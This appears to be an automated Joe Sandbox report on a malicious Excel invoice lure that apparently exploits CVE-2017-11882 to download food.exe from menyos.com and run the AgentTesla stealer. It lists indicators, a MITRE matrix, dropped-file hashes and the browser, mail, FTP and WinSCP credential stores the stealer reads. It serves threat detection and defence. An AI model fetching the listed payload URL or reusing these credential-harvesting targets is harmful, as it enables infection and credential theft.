              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Stealing of Sensitive Information

              barindex
              Yara detected AgentTesla
              Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
              Source: Yara matchFile source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000006.00000002.622128316.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\SessionsJump to behavior
              Tries to harvest and steal browser information (history, passwords, etc)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.iniJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.iniJump to behavior
              Tries to harvest and steal ftp login credentials
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\FTP Navigator\Ftplist.txtJump to behavior
              Tries to steal Mail credentials (via file / registry access)
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
              Source: Yara matchFile source: 00000006.00000002.622210442.0000000002001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: RegSvcs.exe PID: 3688, type: MEMORYSTR
              Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected AgentTesla
              Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
              Source: Yara matchFile source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000006.00000002.622128316.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information1
              Scripting              		Valid Accounts121
              Windows Management Instrumentation              		1
              Scripting              		1
              DLL Side-Loading              		1
              Disable or Modify Tools              		2
              OS Credential Dumping              		1
              File and Directory Discovery              		Remote Services1
              Archive Collected Data              		3
              Ingress Tool Transfer              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts33
              Exploitation for Client Execution              		1
              DLL Side-Loading              		212
              Process Injection              		1
              Obfuscated Files or Information              		1
              Credentials in Registry              		124
              System Information Discovery              		Remote Desktop Protocol2
              Data from Local System              		11
              Encrypted Channel              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)1
              Install Root Certificate              		Security Account Manager31
              Security Software Discovery              		SMB/Windows Admin Shares1
              Email Collection              		2
              Non-Application Layer Protocol              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
              DLL Side-Loading              		NTDS12
              Virtualization/Sandbox Evasion              		Distributed Component Object ModelInput Capture13
              Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
              Masquerading              		LSA Secrets1
              Process Discovery              		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
              Modify Registry              		Cached Domain Credentials1
              Remote System Discovery              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items12
              Virtualization/Sandbox Evasion              		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job212
              Process Injection              		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 1523149 Sample: Fatura 002.xlam.xlsx Startdate: 01/10/2024 Architecture: WINDOWS Score: 100 38 Found malware configuration 2->38 40 Malicious sample detected (through community Yara rule) 2->40 42 Antivirus / Scanner detection for submitted sample 2->42 44 13 other signatures 2->44 8 EXCEL.EXE 6 9 2->8         started        process3 file4 22 C:\Users\user\...\~$Fatura 002.xlam.xlsx, data 8->22 dropped 11 EQNEDT32.EXE 11 8->11         started        process5 dnsIp6 28 menyos.com 104.21.35.109, 443, 49163 CLOUDFLARENETUS United States 11->28 24 C:\Users\user\AppData\Local\Temp\coolz.exe, PE32 11->24 dropped 26 C:\Users\user\AppData\Local\...\food[1].exe, PE32 11->26 dropped 54 Installs new ROOT certificates 11->54 56 Office equation editor establishes network connection 11->56 58 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->58 16 coolz.exe 1 11->16         started        file7 signatures8 process9 signatures10 30 Multi AV Scanner detection for dropped file 16->30 32 Machine Learning detection for dropped file 16->32 34 Writes to foreign memory regions 16->34 36 2 other signatures 16->36 19 RegSvcs.exe 2 16->19         started        process11 signatures12 46 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 19->46 48 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 19->48 50 Tries to steal Mail credentials (via file / registry access) 19->50 52 2 other signatures 19->52

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              Fatura 002.xlam.xlsx51%VirustotalBrowse
              Fatura 002.xlam.xlsx71%ReversingLabsDocument-Office.Exploit.CVE-2017-11882
              Fatura 002.xlam.xlsx100%AviraEXP/CVE-2017-11882.Gen

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\food[1].exe100%Joe Sandbox ML
              C:\Users\user\AppData\Local\Temp\coolz.exe100%Joe Sandbox ML
              C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\food[1].exe26%ReversingLabsWin32.Trojan.Autoitinject
              C:\Users\user\AppData\Local\Temp\coolz.exe26%ReversingLabsWin32.Trojan.Autoitinject

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              SourceDetectionScannerLabelLink
              menyos.com0%VirustotalBrowse

              URLs

              SourceDetectionScannerLabelLink
              http://ocsp.entrust.net030%URL Reputationsafe
              http://crl.entrust.net/2048ca.crl00%URL Reputationsafe
              http://crl.pkioverheid.nl/DomOvLatestCRL.crl00%VirustotalBrowse
              http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl00%VirustotalBrowse
              http://crl.entrust.net/server1.crl00%VirustotalBrowse
              http://www.diginotar.nl/cps/pkioverheid00%VirustotalBrowse
              https://secure.comodo.com/CPS00%VirustotalBrowse

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              menyos.com
              		104.21.35.109
              		truetrueunknown

              Contacted URLs

              NameMaliciousAntivirus DetectionReputation
              https://menyos.com/assets/home/js/bdg/food.exetrue
                		unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                https://menyos.com/assets/home/js/bdg/food.exeiiC:EQNEDT32.EXE, 00000002.00000002.473266370.000000000054F000.00000004.00000020.00020000.00000000.sdmpfalse
                  		unknown
                  http://crl.pkioverheid.nl/DomOvLatestCRL.crl0EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpfalseunknown
                  http://crl.entrust.net/server1.crl0EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpfalseunknown
                  https://menyos.com/assets/home/js/bdg/food.exeC:EQNEDT32.EXE, 00000002.00000003.473039070.000000000058E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.473291356.000000000058E000.00000004.00000020.00020000.00000000.sdmpfalse
                    		unknown
                    http://ocsp.entrust.net03EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://menyos.com/5m/EQNEDT32.EXE, 00000002.00000003.473039070.000000000058E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.473291356.000000000058E000.00000004.00000020.00020000.00000000.sdmpfalse
                      		unknown
                      https://menyos.com/assets/home/js/bdg/food.exeujEQNEDT32.EXE, 00000002.00000002.473266370.000000000054F000.00000004.00000020.00020000.00000000.sdmpfalse
                        		unknown
                        https://menyos.com//m/EQNEDT32.EXE, 00000002.00000003.473039070.000000000058E000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.473291356.000000000058E000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpfalseunknown
                          http://www.diginotar.nl/cps/pkioverheid0EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpfalseunknown
                          http://ocsp.entrust.net0DEQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown
                            https://secure.comodo.com/CPS0EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpfalseunknown
                            https://menyos.com/assets/home/js/bdg/food.exefjEQNEDT32.EXE, 00000002.00000002.473266370.000000000054F000.00000004.00000020.00020000.00000000.sdmpfalse
                              		unknown
                              https://menyos.com/assets/home/js/bdg/food.exejEQNEDT32.EXE, 00000002.00000002.473765662.0000000003670000.00000004.00000020.00020000.00000000.sdmpfalse
                                		unknown
                                http://crl.entrust.net/2048ca.crl0EQNEDT32.EXE, 00000002.00000002.473317377.00000000005D4000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.473013254.00000000005CD000.00000004.00000020.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown

                                World Map of Contacted IPs

                                • No. of IPs < 25%
                                • 25% < No. of IPs < 50%
                                • 50% < No. of IPs < 75%
                                • 75% < No. of IPs

                                Public IPs

                                IPDomainCountryFlagASNASN NameMalicious
                                104.21.35.109
                                		menyos.comUnited States
                                		13335CLOUDFLARENETUStrue

                                General Information

                                Joe Sandbox version:41.0.0 Charoite
                                Analysis ID:1523149
                                Start date and time:2024-10-01 07:43:11 +02:00
                                Joe Sandbox product:CloudBasic
                                Overall analysis duration:0h 5m 14s
                                Hypervisor based Inspection enabled:false
                                Report type:full
                                Cookbook file name:defaultwindowsofficecookbook.jbs
                                Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                                Number of analysed new started processes analysed:9
                                Number of new started drivers analysed:0
                                Number of existing processes analysed:0
                                Number of existing drivers analysed:0
                                Number of injected processes analysed:0
                                Technologies:
                                • HCA enabled
                                • EGA enabled
                                • AMSI enabled
                                Analysis Mode:default
                                Analysis stop reason:Timeout
                                Sample name:Fatura 002.xlam.xlsx
                                Detection:MAL
                                Classification:mal100.troj.spyw.expl.evad.winXLSX@6/5@1/1
                                EGA Information:
                                • Successful, ratio: 50%
                                HCA Information:
                                • Successful, ratio: 92%
                                • Number of executed functions: 71
                                • Number of non-executed functions: 3
                                Cookbook Comments:
                                • Found application associated with file extension: .xlsx
                                • Found Word or Excel or PowerPoint or XPS Viewer
                                • Attach to Office via COM
                                • Active ActiveX Object
                                • Scroll down
                                • Close Viewer

                                Warnings

                                • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
                                • Execution Graph export aborted for target RegSvcs.exe, PID 3688 because it is empty
                                • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                • Report size getting too big, too many NtQueryValueKey calls found.
                                • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                Simulations

                                Behavior and APIs

                                TimeTypeDescription
                                01:44:54API Interceptor99x Sleep call for process: EQNEDT32.EXE modified
                                01:45:04API Interceptor229x Sleep call for process: RegSvcs.exe modified

                                Joe Sandbox View / Context

                                IPs

                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                104.21.35.109http://gsmgoodssk.lifeGet hashmaliciousUnknownBrowse
                                  phish_alert_iocp_v1.4.48 (5).emlGet hashmaliciousHTMLPhisherBrowse

                                    Domains

                                    ⊘No context

                                    ASNs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    CLOUDFLARENETUSPayment proof.xlsGet hashmaliciousRemcosBrowse
                                    • 172.67.216.244
                                    46L03o2EOY.exeGet hashmaliciousUnknownBrowse
                                    • 188.114.97.3
                                    TT12822024.xlsGet hashmaliciousRemcosBrowse
                                    • 172.67.216.244
                                    2zYP8qOYmJ.exeGet hashmaliciousUnknownBrowse
                                    • 172.67.74.152
                                    RFQ-00032035.PDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                    • 188.114.96.3
                                    AE1169-0106202.xlsGet hashmaliciousSnake KeyloggerBrowse
                                    • 188.114.96.3
                                    6JA2YPtbeB.exeGet hashmaliciousLummaC, Stealc, VidarBrowse
                                    • 104.21.84.213
                                    46L03o2EOY.exeGet hashmaliciousUnknownBrowse
                                    • 188.114.97.3
                                    hTR7xY0d0V.exeGet hashmaliciousLummaC, Stealc, VidarBrowse
                                    • 104.21.1.169
                                    N83LFtMTUS.exeGet hashmaliciousLummaC, Stealc, VidarBrowse
                                    • 104.21.1.169

                                    JA3 Fingerprints

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    7dcce5b76c8b17472d024758970a406bPayment proof.xlsGet hashmaliciousRemcosBrowse
                                    • 104.21.35.109
                                    TT12822024.xlsGet hashmaliciousRemcosBrowse
                                    • 104.21.35.109
                                    AE1169-0106202.xlsGet hashmaliciousSnake KeyloggerBrowse
                                    • 104.21.35.109
                                    AMG Cargo Logistic.docxGet hashmaliciousRemcosBrowse
                                    • 104.21.35.109
                                    factura proforma .docx.docGet hashmaliciousRemcosBrowse
                                    • 104.21.35.109
                                    PI#0034250924.xla.xlsxGet hashmaliciousFormBookBrowse
                                    • 104.21.35.109
                                    PO554830092024.xlsGet hashmaliciousUnknownBrowse
                                    • 104.21.35.109
                                    SYSN ORDER.xlsGet hashmaliciousSnake KeyloggerBrowse
                                    • 104.21.35.109
                                    PO554830092024.xlsGet hashmaliciousUnknownBrowse
                                    • 104.21.35.109
                                    PI#0034250924.xla.xlsxGet hashmaliciousUnknownBrowse
                                    • 104.21.35.109

                                    Dropped Files

                                    ⊘No context

                                    Created / dropped Files

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\food[1].exe

                                    Download File
                                    Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):1179411
                                    Entropy (8bit):7.236668970589268
                                    Encrypted:false
                                    SSDEEP:24576:JfmMv6Ckr7Mny5QN39deoG/4QnEWxTULNgGL/YG:J3v+7/5QNtdeo/QDUNgGjr
                                    MD5:0FCFEEFEF9E389286B0EF7E97E1E7F28
                                    SHA1:85986DADC140D6D719B844E6F38D775DFAD211D5
                                    SHA-256:C186DEF00D97AABDF95CF1BBD2605EF8FFC8A05E13FFF501B0117AE7395D4487
                                    SHA-512:E64A173AEF6F91D03BA26762EE176B32E50E9344D1CF473DBDD22949C067A0E4B9354F7ECFC742AFA6FC53ED67809E1DD7B599F8FBE596DC797D616063E7ED19
                                    Malicious:true
                                    Antivirus:
                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                    • Antivirus: ReversingLabs, Detection: 26%
                                    Reputation:low
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i.i.i..9.k.`.:.w.`.,...`.+.P.N%.c.N%.H.i.d.`. ./.w.:.k.w.;.h.i.8.h.`.>.h.Richi.........................PE..L.....K..........#..................c....... ....@..........................p......5!........@.......@.....................<...T.................................................................................... ..@............................text............................... ..`.rdata..\.... ......................@..@.data............h..................@....rsrc................H..............@..@................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\AppData\Local\Temp\coolz.exe

                                    Download File
                                    Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):1179411
                                    Entropy (8bit):7.236668970589268
                                    Encrypted:false
                                    SSDEEP:24576:JfmMv6Ckr7Mny5QN39deoG/4QnEWxTULNgGL/YG:J3v+7/5QNtdeo/QDUNgGjr
                                    MD5:0FCFEEFEF9E389286B0EF7E97E1E7F28
                                    SHA1:85986DADC140D6D719B844E6F38D775DFAD211D5
                                    SHA-256:C186DEF00D97AABDF95CF1BBD2605EF8FFC8A05E13FFF501B0117AE7395D4487
                                    SHA-512:E64A173AEF6F91D03BA26762EE176B32E50E9344D1CF473DBDD22949C067A0E4B9354F7ECFC742AFA6FC53ED67809E1DD7B599F8FBE596DC797D616063E7ED19
                                    Malicious:true
                                    Antivirus:
                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                    • Antivirus: ReversingLabs, Detection: 26%
                                    Reputation:low
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i.i.i..9.k.`.:.w.`.,...`.+.P.N%.c.N%.H.i.d.`. ./.w.:.k.w.;.h.i.8.h.`.>.h.Richi.........................PE..L.....K..........#..................c....... ....@..........................p......5!........@.......@.....................<...T.................................................................................... ..@............................text............................... ..`.rdata..\.... ......................@..@.data............h..................@....rsrc................H..............@..@................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\AppData\Local\Temp\prespecialist

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\coolz.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):168448
                                    Entropy (8bit):7.011746219514673
                                    Encrypted:false
                                    SSDEEP:3072:5gdS6dizIF4bXeIy8RYIx1+IAr0x0rUpGzp8B0AdXqpnNhnbwBJSOAtNJ:5gk6oIF4bO8Rpn8zpU0Ad6pnNhnb6ADJ
                                    MD5:67BFE1B318F14BB23F9EC813672E74BA
                                    SHA1:2E2070091AEF4247C297AFC3F57F7EF3BD42DB1E
                                    SHA-256:ABEC001525336B8D15840F6E9A93B0B6D3C27D020AD3F18B5091D9585B57F8C3
                                    SHA-512:B59B6B1EBBCAA164579B0D3287276F4B6EEA23038001ECB68708BDC35B8B6F539917A287D2F6A3F9539C475E0C725732EA907D915F814013F060339932EF52B7
                                    Malicious:false
                                    Reputation:low
                                    Preview:...WK8XOK8N7..HN.0LFNDDH.MBMADXHBWH8XOO8N7YNHNU0LFNDDHZMBMAD.HBWF'.AO.G.x.I.....'7d8("%? )x+#9&W,o-]nE, h';....d)'>(l@LN|HBWH8XO.}N7.OKN..."NDDHZMBM.DZIIVx8X.M8N?YNHNU0..LDDhZMBMADXH.WH.XOO:N7]NHNU0LFJDDHZMBMAD[HBUH8XOO8L7..HNE0LVNDDHJMB]ADXHBWX8XOO8N7YNHN.NF.DDHZ.@M.AXHBWH8XOO8N7YNHNU0L.LDHHZMBMADXHBWH8XOO8N7YNHNU0LFNDDHZMBMADXHBWH8XOO8N7YNHnU0DFNDDHZMBMADPhBW.8XOO8N7YNHN{D)>:DDH..@MAdXHB.J8XMO8N7YNHNU0LFNDdHZ-l?26;HBW.=XOO.L7YHHNU.NFNDDHZMBMADXH.WHxv=*T!TYNDNU0L.LDDJZMB.CDXHBWH8XOO8N7.NH.U0LFNDDHZMBMADXH..J8XOO8.7YNJNP0.OLD..ZMAMADYHBQH8XOO8N7YNHNU0LFNDDHZMBMADXHBWH8XOO8N7YNHNU0LFNDWxXM.MADYHBF^2s.O>W.XbOfT0LLTNDNB.CaFl[HBQQ2XIX.O.Un.AU0dDNDNPPMD[.EtKB@B8^U.9b5rLc...NnJDDBpMBMBtZH.WH8YOO)X=a.HNU0J^.EhOrL@MG]RHDJ.9tC19N7]!.NU6RLNB_.[aK3LDXLn5T2XIP2.6uC6LU0H).DDNEFHMG[Q.C{EK.OO>.5YNLQ_:L@R.EdV>.MAB.IBWL%ROI!.6uI`fU0J\DDBR.LnJiBXHDLB8^Q.9b='@HNQ.fYGNDNM.CaFlSHBQP2XIY.O.ZN_DU6SM.EhJqHzs...bBW[.\Oq8N7XNH_C:gqNBS.[a_m..HYj6J8^gF8N1qIHNS2[nGFDNBGBKW.YdAW_2XIW.O.[eJe..LFUtAH.MBMCDXYTZc.XFX.

                                    C:\Users\user\Desktop\~$Fatura 002.xlam.xls

                                    Download File
                                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):165
                                    Entropy (8bit):1.4377382811115937
                                    Encrypted:false
                                    SSDEEP:3:vZ/FFDJw2fV:vBFFGS
                                    MD5:797869BB881CFBCDAC2064F92B26E46F
                                    SHA1:61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
                                    SHA-256:D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
                                    SHA-512:1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
                                    Malicious:false
                                    Reputation:high, very likely benign file
                                    Preview:.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                    C:\Users\user\Desktop\~$Fatura 002.xlam.xlsx

                                    Download File
                                    Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):165
                                    Entropy (8bit):1.4377382811115937
                                    Encrypted:false
                                    SSDEEP:3:vZ/FFDJw2fV:vBFFGS
                                    MD5:797869BB881CFBCDAC2064F92B26E46F
                                    SHA1:61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
                                    SHA-256:D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
                                    SHA-512:1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
                                    Malicious:true
                                    Reputation:high, very likely benign file
                                    Preview:.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                    Static File Info

                                    General

                                    File type:Microsoft Excel 2007+
                                    Entropy (8bit):7.997856307539723
                                    TrID:
                                    • Excel Microsoft Office Open XML Format document (35004/1) 81.40%
                                    • ZIP compressed archive (8000/1) 18.60%
                                    File name:Fatura 002.xlam.xlsx
                                    File size:706'949 bytes
                                    MD5:404eec23afb533475c11493f7d367ec0
                                    SHA1:844ba233d3ba4ecc44596bc78f90eecffd0286de
                                    SHA256:eab869eef3b586266919e8d303d196beeb0f22d3f3cbc7b1f521a7e67acd4cf5
                                    SHA512:a44c6f824fee4dde24a37d9671bea3f621e734d05e3617cd29d7de7a350642868a03d054c9f30c989b73369b28cda661bc239d91356c054f34ab2fbdf998af4e
                                    SSDEEP:12288:FyeyA+762GP2WtqK6PkE9AbE6zFNmeS1DZ5RRvb55dwdlnu3vAb9oFTEYhQ/mqG:FyRr702PVQEaFNmeYDZ5RRvEkAb9ITAQ
                                    TLSH:3AE423CFB189C96DE9E7ACDB913A60C0444991722BD6DD286D0EBC3B9C8C7FC4C96548
                                    File Content Preview:PK..........=YLP......B.......[Content_Types].xmlUT...j..fj..fj..f..MO.1......+_...U...p...T.?.kO....3$...........].g....g=...oVP....39..D....N.y.k/D....>E...P\].|.>m2`....X...J.Y@.(S...Y*A......,....d.C...".T=....f..Ss;......Es.M..N...3.8.V........1....)

                                    File Icon

                                    Icon Hash:2562ab89a7b7bfbf

                                    Static OLE Info

                                    General

                                    Document Type:OpenXML
                                    Number of OLE Files:1

                                    OLE File "Fatura 002.xlam.xlsx"

                                    Indicators
                                    Has Summary Info:
                                    Application Name:
                                    Encrypted Document:False
                                    Contains Word Document Stream:False
                                    Contains Workbook/Book Stream:False
                                    Contains PowerPoint Document Stream:False
                                    Contains Visio Document Stream:False
                                    Contains ObjectPool Stream:False
                                    Flash Objects Count:0
                                    Contains VBA Macros:False
                                    Summary
                                    Author:USER
                                    Last Saved By:USER
                                    Create Time:2023-08-03T11:34:29Z
                                    Last Saved Time:2023-08-03T11:37:28Z
                                    Creating Application:Microsoft Excel
                                    Security:0
                                    Document Summary
                                    Thumbnail Scaling Desired:false
                                    Company:
                                    Contains Dirty Links:false
                                    Shared Document:false
                                    Changed Hyperlinks:false
                                    Application Version:16.0300

                                    Streams

                                    Stream Path: \x1ole10NaTiVE, File Type: data, Stream Size: 986295
                                    General
                                    Stream Path:\x1ole10NaTiVE
                                    CLSID:
                                    File Type:data
                                    Stream Size:986295
                                    Entropy:5.941350794618656
                                    Base64 Encoded:False
                                    Data ASCII:V ( . . . . . . . B . E . . . . . I . R . q - . . l \\ A . , = _ Q [ 4 . 0 M M N . . c . = ' # . * < < O . * . . X . . h & Q * . . 7 6 r 1 y V n n . \\ . O . . O . < . v q U . } # . ( { o J $ e . Y 7 6 : c . . . . e . < | l . B . , / n b h . x K q . f . . . K < o e . Z . . E . S " . S Q Q . w [ Y , ~ i . [ . l z { . M z ? L { @ & M . . x i n . b . ? . b O . . ( . ( . 9 / $ K . 7 F U V ) ^ m N W . . i . = > . . E 7 . d . r e > % i / . r . . b . a z . } | w P . 3 " 6 n . v H K ' . \\ . . b 5 t u U . & J s W
